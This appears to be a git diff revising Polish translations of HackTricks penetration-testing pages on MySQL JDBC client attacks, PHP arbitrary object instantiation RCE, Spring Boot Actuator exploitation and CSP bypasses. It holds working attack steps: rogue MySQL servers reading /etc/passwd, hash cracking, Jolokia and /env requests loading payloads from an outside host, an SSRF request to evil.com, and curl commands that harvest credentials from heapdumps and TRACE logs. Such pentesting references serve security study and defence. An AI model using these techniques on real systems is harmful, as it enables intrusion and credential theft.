class-path jest możliwy do załadowania, skutkuje to **remote code execution in the context of the JDBC client** (pre-auth, ponieważ nie są wymagane prawidłowe poświadczenia). Minimalny PoC wygląda tak: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go na class-path wrażliwej aplikacji lub pozwolenie, aby złośliwy serwer MySQL wysłał złośliwy zserializowany obiekt. Problem naprawiono w Connector/J 8.0.33 — zaktualizuj driver albo jawnie ustaw `propertiesTransform` na allow-list. (Zobacz write-up Snyk po szczegóły) +Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go na class-path podatnej aplikacji lub pozwolenie, aby rogue MySQL server wysłał złośliwy zserializowany obiekt. Problem został naprawiony w Connector/J 8.0.33 – zaktualizuj driver lub jawnie ustaw `propertiesTransform` na allow-listę. +(Zobacz Snyk write-up dla szczegółów) ### Rogue / Fake MySQL server attacks against JDBC clients -Kilka narzędzi open-source implementuje *częściowy* protokół MySQL, aby atakować klientów JDBC, którzy łączą się na zewnątrz: +Kilka narzędzi open-source implementuje *częściowy* protokół MySQL, aby atakować JDBC clients, które łączą się na zewnątrz: -* **mysql-fake-server** (Java, wspiera odczyt plików i exploity deserializacji) +* **mysql-fake-server** (Java, obsługuje file read i deserialization exploits) * **rogue_mysql_server** (Python, podobne możliwości) Typowe ścieżki ataku: 1. Aplikacja ofiary ładuje `mysql-connector-j` z `allowLoadLocalInfile=true` lub `autoDeserialize=true`. -2. Atakujący kontroluje wpis DNS / host tak, że nazwa hosta DB rozwiązuje się do maszyny pod jego kontrolą. -3. Złośliwy serwer odpowiada spreparowanymi pakietami, które wywołują albo `LOCAL INFILE` — arbitralny odczyt pliku — albo deserializację Java → RCE. +2. Atakujący kontroluje DNS / wpis hosta, tak że nazwa hosta DB rozwiązuje się do maszyny pod jego kontrolą. +3. Złośliwy serwer odpowiada spreparowanymi pakietami, które wywołują albo `LOCAL INFILE` arbitrary file read, albo Java deserialization → RCE. -Przykładowy one-liner do uruchomienia fałszywego serwera (Java): +Przykładowy one-liner do uruchomienia fake servera (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Następnie skieruj aplikację ofiary na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i odczytaj `/etc/passwd`, kodując nazwę pliku jako base64 w polu *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Następnie skieruj aplikację ofiary na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i odczytaj `/etc/passwd`, kodując nazwę pliku w base64 w polu *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). ### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (mode **21100**) jak i John-the-Ripper (`--format=mysql-sha2`) obsługują offline cracking od 2023. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio: +MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (mode **21100**) jak i John-the-Ripper (`--format=mysql-sha2`) wspierają offline cracking od 2023. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -691,12 +695,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Lista kontrolna hardeningu (2025) -• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby wyeliminować większość prymitywów do odczytu/zapisu plików. -• Usuń uprawnienie **`FILE`** z kont aplikacji. +### Lista kontrolna utwardzania (2025) +• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby zablokować większość prymitywów odczytu/zapisu plików. +• Usuń uprawnienie **`FILE`** z kont aplikacyjnych. • W Connector/J ustaw `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (puste). -• Wyłącz nieużywane pluginy uwierzytelniania i **wymagaj TLS** (`require_secure_transport = ON`). -• Monitoruj wystąpienia `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłych poleceń `SET GLOBAL`. +• Wyłącz nieużywane wtyczki uwierzytelniania i **wymuś TLS** (`require_secure_transport = ON`). +• Monitoruj obecność `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłych poleceń `SET GLOBAL`. --- diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 8a6b7df43..517768efc 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,16 +1,16 @@ -# PHP - RCE wykorzystywanie tworzenia obiektów: new $_GET["a"]($_GET["b"]) +# PHP - RCE nadużywanie tworzenia obiektów: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +To w zasadzie podsumowanie [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Wprowadzenie -Tworzenie nowych dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do Remote Code Execution (RCE), jak opisano w [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Niniejszy dokument przedstawia różne strategie osiągnięcia RCE. +Tworzenie nowych dowolnych obiektów, takich jak `new $_GET["a"]($_GET["a"])`, może prowadzić do Remote Code Execution (RCE), jak szczegółowo opisano w [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ten dokument przedstawia różne strategie osiągnięcia RCE. -## RCE przez własne klasy lub autoloading +## RCE przez niestandardowe klasy lub autoloading -Składnia `new $a($b)` służy do tworzenia instancji obiektu, gdzie **`$a`** oznacza nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Zmienne te mogą pochodzić z danych wejściowych od użytkownika jak GET/POST, gdzie mogą być stringami lub tablicami, albo z JSON, gdzie mogą występować jako inne typy. +Składnia `new $a($b)` służy do tworzenia instancji obiektu, gdzie **`$a`** oznacza nazwę klasy, a **`$b`** jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wejściowych użytkownika, takich jak GET/POST, gdzie mogą być stringami lub tablicami, albo z JSON, gdzie mogą występować jako inne typy. Rozważ poniższy fragment kodu: ```php @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -W tym przypadku ustawienie `$a` na `App` lub `App2` i `$b` na polecenie systemowe (np. `uname -a`) powoduje wykonanie tego polecenia. +W tym przypadku ustawienie `$a` na `App` lub `App2` i `$b` na polecenie systemowe (np. `uname -a`) skutkuje wykonaniem tego polecenia. -**Funkcje autoloadingu** można wykorzystać, jeśli takie klasy nie są bezpośrednio dostępne. Funkcje te automatycznie ładują klasy z plików, gdy są potrzebne i są definiowane za pomocą `spl_autoload_register` lub `__autoload`: +**Funkcje autoloadingu** można wykorzystać, jeśli żadne takie klasy nie są bezpośrednio dostępne. Te funkcje automatycznie ładują klasy z plików, gdy są potrzebne i są definiowane przy użyciu `spl_autoload_register` lub `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,72 +45,72 @@ include $class_name . '.php'; spl_autoload_register(); ``` -Zachowanie mechanizmu autoloadingu różni się między wersjami PHP, oferując różne możliwości RCE. +Zachowanie mechanizmu autoloadingu różni się w zależności od wersji PHP i daje różne możliwości RCE. ## RCE przez wbudowane klasy -W przypadku braku własnych klas lub autoloaderów, **wbudowane klasy PHP** mogą wystarczyć do RCE. Ich liczba wynosi od około 100 do 200, w zależności od wersji PHP i zainstalowanych rozszerzeń. Można je wypisać za pomocą `get_declared_classes()`. +Jeśli brakuje niestandardowych klas lub autoloadera, **wbudowane klasy PHP** mogą wystarczyć do RCE. Ich liczba waha się od około 100 do 200, w zależności od wersji PHP i załadowanych rozszerzeń. Można je wypisać za pomocą `get_declared_classes()`. -Konstruktory warte uwagi można zidentyfikować przy użyciu reflection API, jak pokazano w poniższym przykładzie oraz pod linkiem [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Konstruktory warte zainteresowania można zidentyfikować za pomocą API refleksji, jak pokazano w poniższym przykładzie i pod linkiem [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE przez specyficzne metody obejmuje:** +**RCE via specific methods includes:** ### **SSRF + Phar Deserialization** -Klasa `SplFileObject` umożliwia SSRF za pomocą swojego konstruktora, pozwalając na połączenia z dowolnym URL: +Klasa `SplFileObject` umożliwia SSRF poprzez konstruktor, pozwalając na połączenia do dowolnego adresu URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF może prowadzić do deserialization attacks w wersjach PHP przed 8.0, wykorzystując protokół Phar. +SSRF może prowadzić do deserialization attacks w wersjach PHP przed 8.0 przy użyciu protokołu Phar. -### **Exploiting PDOs** +### **Wykorzystywanie PDOs** -Konstruktor klasy PDO pozwala na połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje: +Konstruktor klasy PDO umożliwia łączenie się z bazami danych za pomocą ciągów DSN, co potencjalnie może umożliwić tworzenie plików lub inne interakcje: ```php new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Wersje PHP do 5.3.22 oraz 5.4.12 były podatne na ataki XXE poprzez konstruktory `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2. +Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE poprzez konstruktory `SoapClient` i `SimpleXMLElement`, w zależności od wersji libxml2. ## RCE przez rozszerzenie Imagick -W analizie **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **wykonywania poleceń** przez tworzenie nowych obiektów. Stwarza to możliwość eksploatacji podatności. +W analizie **zależności projektu** odkryto, że **Imagick** może być wykorzystany do **command execution** przez tworzenie nowych obiektów. To stwarza możliwość eksploatacji podatności. ### VID parser -Zidentyfikowano, że parser VID ma możliwość zapisu zawartości do dowolnej wskazanej ścieżki w systemie plików. Może to doprowadzić do umieszczenia PHP shell w katalogu dostępnym przez web, osiągając Remote Code Execution (RCE). +Zidentyfikowano możliwość VID parsera do zapisywania zawartości w dowolnej wskazanej ścieżce systemu plików. Może to prowadzić do umieszczenia PHP shell w katalogu dostępnym z sieci, osiągając Remote Code Execution (RCE). -#### VID Parser + File Upload +#### VID Parser + Przesyłanie plików -Zauważono, że PHP tymczasowo przechowuje przesłane pliki w `/tmp/phpXXXXXX`. Parser VID w Imagick, wykorzystujący protokół **msl**, potrafi obsługiwać znaki wieloznaczne w ścieżkach plików, umożliwiając przeniesienie pliku tymczasowego do wybranej lokalizacji. Metoda ta daje dodatkową drogę do osiągnięcia arbitralnego zapisu plików w systemie plików. +Zauważono, że PHP tymczasowo przechowuje przesłane pliki w `/tmp/phpXXXXXX`. VID parser w Imagick, wykorzystując protokół **msl**, potrafi obsługiwać wildcardy w ścieżkach plików, co ułatwia przeniesienie pliku tymczasowego do wybranej lokalizacji. Ta metoda daje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików. ### PHP Crash + Brute Force -Metoda opisana w [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują crash serwera przed ich usunięciem. Poprzez brute-forcing nazwy pliku tymczasowego, Imagick może wykonać arbitralny kod PHP. Jednak technika ta okazała się skuteczna tylko w przestarzałej wersji ImageMagick. +Metoda opisana w [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują crash serwera przed usunięciem. Poprzez brute-forcing nazwy pliku tymczasowego, Imagick może wykonać arbitrary PHP code. Jednak technika ta okazała się skuteczna tylko w przestarzałej wersji ImageMagick. ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) -Gdy nazwa klasy jest kontrolowana przez dane wejściowe użytkownika (np. `new $_GET['model']()`), w PHP 7.0.0 wprowadzono przejściowy błąd podczas refaktoryzacji `Throwable`, w którym silnik błędnie traktował nazwę klasy jako format string dla printf podczas rozwiązywania. To umożliwia klasyczne prymitywy w stylu printf w PHP: leaks with `%p`, kontrolę liczby zapisów przez specyfikatory szerokości oraz arbitralne zapisy z `%n` przeciwko wskaźnikom w procesie (np. wpisy GOT w buildach ELF). +Gdy nazwa klasy jest kontrolowana przez dane wejściowe użytkownika (np. `new $_GET['model']()`), PHP 7.0.0 wprowadziło przemijający błąd podczas refaktoryzacji `Throwable`, w którym silnik błędnie traktował nazwę klasy jako format string dla printf podczas rozwiązywania. To umożliwia klasyczne printf-style primitives wewnątrz PHP: leaks with `%p`, kontrolę liczby zapisów za pomocą specyfikatorów szerokości oraz dowolne zapisy przy użyciu `%n` do wskaźników w procesie (na przykład wpisy GOT w buildach ELF). -Minimalny przykład odtwarzający podatność: +Minimalny wzorzec reprodukcji podatności: ```php d%$n`, aby doprowadzić do częściowego nadpisania. +- Działa tylko na PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); naprawione w kolejnych wydaniach. Powaga: krytyczna, jeśli istnieje możliwość dowolnego tworzenia instancji klas. +- Typowe payloady łączą wiele `%p`, aby przejść przez stos, a następnie `%.d%$n`, by doprowadzić do częściowego nadpisania. ## Źródła diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 28d2018c1..14eb0db8f 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**Źródło** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Exploiting Spring Boot Actuators +## Wykorzystanie Spring Boot Actuators -**Sprawdź oryginalny wpis na** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Sprawdź oryginalny wpis:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Key Points:** +### **Kluczowe punkty:** -- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security. -- Certain Actuator endpoints can expose sensitive data or allow harmful actions: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`. -- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path. +- Spring Boot Actuators rejestrują endpointy takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach 1 do 1.4 te endpointy są dostępne bez uwierzytelniania. Od wersji 1.5 wzwyż tylko `/health` i `/info` są domyślnie niepoufne, ale deweloperzy często wyłączają to zabezpieczenie. +- Niektóre endpointy Actuator mogą ujawniać poufne dane lub pozwalać na szkodliwe działania: +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` oraz `/heapdump`. +- W Spring Boot 1.x actuatory są rejestrowane pod root URL, podczas gdy w 2.x znajdują się pod bazową ścieżką `/actuator/`. -### **Exploitation Techniques:** +### **Techniki eksploatacji:** 1. **Remote Code Execution via '/jolokia'**: -- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans. -- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations. -- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +- Endpoint `/jolokia` udostępnia bibliotekę Jolokia, która pozwala na dostęp HTTP do MBeans. +- Akcja `reloadByURL` może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do blind XXE lub Remote Code Execution przy użyciu spreparowanych konfiguracji XML. +- Przykładowy URL exploitu: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties. -- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL. -- Example exploit POST request: +- Jeśli obecne są biblioteki Spring Cloud, endpoint `/env` umożliwia modyfikację właściwości środowiskowych. +- Właściwości można manipulować w celu wykorzystania luk, takich jak podatność deserializacji XStream w Eureka serviceURL. +- Przykładowe żądanie POST exploit: ``` POST /env HTTP/1.1 @@ -40,22 +40,22 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Other Useful Settings**: -- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings. +3. **Inne przydatne ustawienia**: +- Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` i `spring.datasource.tomcat.max-active` mogą być modyfikowane w różnych exploitach, np. do SQL injection lub zmiany connection stringów do bazy danych. -### **Additional Information:** +### **Dodatkowe informacje:** -- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same. +- Kompleksową listę domyślnych actuatorów można znaleźć [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Endpoint `/env` w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje taka sama. -### **Related Topics:** +### **Powiązane tematy:** 1. **Env + H2 RCE**: -- Szczegóły dotyczące wykorzystania kombinacji endpointu `/env` i bazy H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Szczegóły dotyczące wykorzystania kombinacji endpointu `/env` i bazy H2 można znaleźć [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Obsługa parametrów macierzowych (`;`) w ścieżkach HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF). -- Przykładowe żądanie exploitujące: +- Sposób, w jaki framework Spring obsługuje parametry macierzowe (`;`) w ścieżkach HTTP, może być wykorzystany do Server-Side Request Forgery (SSRF). +- Przykładowe żądanie exploit: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com @@ -63,9 +63,9 @@ Connection: close ``` ## HeapDump secrets mining (credentials, tokens, internal URLs) -Jeśli `/actuator/heapdump` jest dostępny, zazwyczaj można pobrać pełny zrzut sterty JVM, który często zawiera aktywne sekrety (poświadczenia DB, klucze API, Basic-Auth, wewnętrzne adresy URL usług, mapy właściwości Spring itp.). +Jeśli `/actuator/heapdump` jest exposed, zwykle możesz pobrać pełny zrzut sterty JVM, który często zawiera live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps itp.). -- Pobieranie i szybkie wstępne przejrzenie: +- Download and quick triage: ```bash wget http://target/actuator/heapdump -O heapdump # Quick wins: look for HTTP auth and JDBC @@ -74,33 +74,33 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d ``` -- Głębsza analiza przy użyciu VisualVM i OQL: -- Otwórz heapdump w VisualVM, sprawdź instancje `java.lang.String` lub uruchom OQL, aby wyszukać sekrety: +- Deeper analysis with VisualVM and OQL: +- Otwórz heapdump w VisualVM, przeglądaj instancje `java.lang.String` lub uruchom OQL, żeby znaleźć secrets: ``` select s.toString() from java.lang.String s where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) ``` -- Automatyczne wydobycie za pomocą JDumpSpider: +- Automated extraction with JDumpSpider: ```bash java -jar JDumpSpider-*.jar heapdump ``` -Typowe wartościowe odkrycia: +Typowe wysokowartościowe znaleziska: - Obiekty Spring `DataSourceProperties` / `HikariDataSource` ujawniające `url`, `username`, `password`. -- Wpisy `OriginTrackedMapPropertySource` odsłaniające `management.endpoints.web.exposure.include`, porty usług oraz osadzone Basic-Auth w URLach (np. Eureka `defaultZone`). -- Fragmenty żądań/odpowiedzi HTTP, w tym `Authorization: Basic ...`, uchwycone w pamięci. +- Wpisy `OriginTrackedMapPropertySource` ujawniające `management.endpoints.web.exposure.include`, porty serwisów oraz embedded Basic-Auth w URLach (np. Eureka `defaultZone`). +- Fragmenty żądań/odpowiedzi HTTP zawierające `Authorization: Basic ...` uchwycone w pamięci. Wskazówki: -- Użyj listy słów skoncentrowanej na Spring do szybkiego odnajdywania endpointów actuator (np. SecLists spring-boot.txt) i zawsze sprawdź, czy `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` i `/actuator/configprops` również są dostępne. -- Poświadczenia z heapdump często działają dla sąsiednich usług, a czasem także dla użytkowników systemowych (SSH), dlatego testuj je szeroko. +- Użyj wordlisty skoncentrowanej na Spring, aby szybko odkryć actuator endpoints (np. SecLists spring-boot.txt) i zawsze sprawdź, czy `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` i `/actuator/configprops` są również exposed. +- Credentials z heapdump często działają też dla sąsiednich usług, a czasem dla użytkowników systemowych (SSH), więc testuj je szeroko. ## Abusing Actuator loggers/logging to capture credentials -Jeśli `management.endpoints.web.exposure.include` na to pozwala i `/actuator/loggers` jest dostępny, można dynamicznie podnieść poziomy logowania do DEBUG/TRACE dla pakietów obsługujących uwierzytelnianie i przetwarzanie żądań. W połączeniu z czytelnymi logami (poprzez `/actuator/logfile` lub znane ścieżki logów) może to ujawnić poświadczenia przesyłane podczas procesów logowania (np. nagłówki Basic-Auth lub parametry formularzy). +Jeśli `management.endpoints.web.exposure.include` na to pozwala i `/actuator/loggers` jest exposed, możesz dynamicznie podnieść poziomy logów do DEBUG/TRACE dla pakietów obsługujących uwierzytelnianie i przetwarzanie żądań. Połączone z czytelnymi logami (przez `/actuator/logfile` lub znane ścieżki logów) to może leakować credentials przesyłane podczas flow logowania (np. nagłówki Basic-Auth lub parametry formularzy). -- Wyenumeruj i podbij wrażliwe loggery: +- Enumerate and crank up sensitive loggers: ```bash # List available loggers curl -s http://target/actuator/loggers | jq . @@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' ``` -- Znajdź, gdzie zapisywane są logi i pozyskaj je: +- Find where logs are written and harvest: ```bash # If exposed, read from Actuator directly curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' @@ -123,11 +123,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' ``` -- Wywołaj ruch logowania/uwierzytelniania i przeanalizuj logi pod kątem poświadczeń. W architekturach mikroserwisów z gateway przed autoryzacją, włączenie TRACE dla pakietów gateway/security często powoduje ujawnienie nagłówków i ciał formularzy. Niektóre środowiska nawet okresowo generują syntetyczny ruch logowania, co sprawia, że zbieranie danych staje się trywialne po zwiększeniu szczegółowości logów. +- Wywołaj ruch logowania/auth i parsuj log pod kątem creds. W konfiguracjach mikroserwisowych z gateway przed auth, włączenie TRACE dla pakietów gateway/security często ujawnia nagłówki i treści formularzy. Niektóre środowiska nawet generują syntetyczny ruch logowania okresowo, co sprawia, że harvesting jest trywialny po zwiększeniu szczegółowości logów. -Uwaga: -- Zresetuj poziomy logów po zakończeniu: `POST /actuator/loggers/` z `{ "configuredLevel": null }`. -- Jeśli `/actuator/httpexchanges` jest dostępny, może też ujawnić metadane ostatnich żądań, które mogą zawierać poufne nagłówki. +Uwagi: +- Resetuj poziomy logów po zakończeniu: `POST /actuator/loggers/` z `{ "configuredLevel": null }`. +- Jeśli `/actuator/httpexchanges` jest exposed, może też ujawnić metadata ostatnich żądań, które mogą zawierać wrażliwe nagłówki. ## References diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index d81e586db..7f013a029 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -4,11 +4,11 @@ ## Czym jest CSP -Content Security Policy (CSP) jest rozpoznawana jako technologia przeglądarki, której głównym celem jest **ochrona przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i określanie ścieżek oraz źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Do takich zasobów należą elementy takie jak obrazy, ramki oraz JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu z łańcuchów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. +Content Security Policy (CSP) jest technologią przeglądarkową, mającą na celu przede wszystkim **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Polega na określaniu i definiowaniu ścieżek oraz źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki oraz JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), włączając zasoby inline oraz wykonywanie kodu w postaci łańcucha za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. -Wdrożenie CSP odbywa się przez **nagłówki odpowiedzi** lub przez umieszczenie **meta elementów w stronie HTML**. Przeglądarki egzekwują tę politykę i natychmiast blokują wykryte naruszenia. +Wdrażanie CSP odbywa się poprzez **nagłówki odpowiedzi** lub przez umieszczenie **elementów meta w stronie HTML**. Przeglądarki egzekwują tę politykę i natychmiast blokują wszelkie wykryte naruszenia. -- Implemented via response header: +- Implementowane przez nagłówek odpowiedzi: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### Nagłówki -CSP można egzekwować lub monitorować za pomocą następujących nagłówków: +CSP można egzekwować lub monitorować za pomocą tych nagłówków: -- `Content-Security-Policy`: Wymusza CSP; przeglądarka blokuje wszelkie naruszenia. -- `Content-Security-Policy-Report-Only`: Używany do monitorowania; zgłasza naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych. +- `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations. +- `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments. ### Definiowanie zasobów -CSP ogranicza źródła ładowania zarówno treści aktywnych, jak i pasywnych, kontrolując takie aspekty jak wykonywanie inline JavaScript i użycie `eval()`. Przykładowa polityka to: +CSP ogranicza pochodzenie ładowanych treści, zarówno aktywnych, jak i pasywnych, kontrolując takie aspekty jak wykonywanie inline JavaScript oraz użycie `eval()`. Przykładowa polityka wygląda następująco: ```bash default-src 'none'; img-src 'self'; @@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### Directives +### Dyrektywy -- **script-src**: Pozwala na określone źródła dla JavaScriptu, w tym URL-e, skrypty inline oraz skrypty wywołane przez obsługiwacze zdarzeń lub arkusze XSLT. -- **default-src**: Ustawia domyślną politykę dla pobierania zasobów, gdy brak jest specyficznych dyrektyw fetch. -- **child-src**: Określa dozwolone zasoby dla web workers i zawartości osadzonych ramek. -- **connect-src**: Ogranicza URL-e, które można ładować przy użyciu interfejsów takich jak fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Ogranicza URL-e dla ramek. -- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, ma zastosowanie do elementów takich jak ``, ` // The bot will load an URL with the payload @@ -546,15 +547,15 @@ console.log(prefix) run() ``` -### Przez Bookmarklets +### Za pomocą Bookmarklets -Ten atak zakłada pewien social engineering, w którym atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na bookmarklet przeglądarki**. Ten bookmarklet zawierałby **złośliwy kod javascript**, który po przeciągnięciu i upuszczeniu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak cookies lub tokens. +Ten atak wymagałby pewnego social engineeringu, w którym atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na 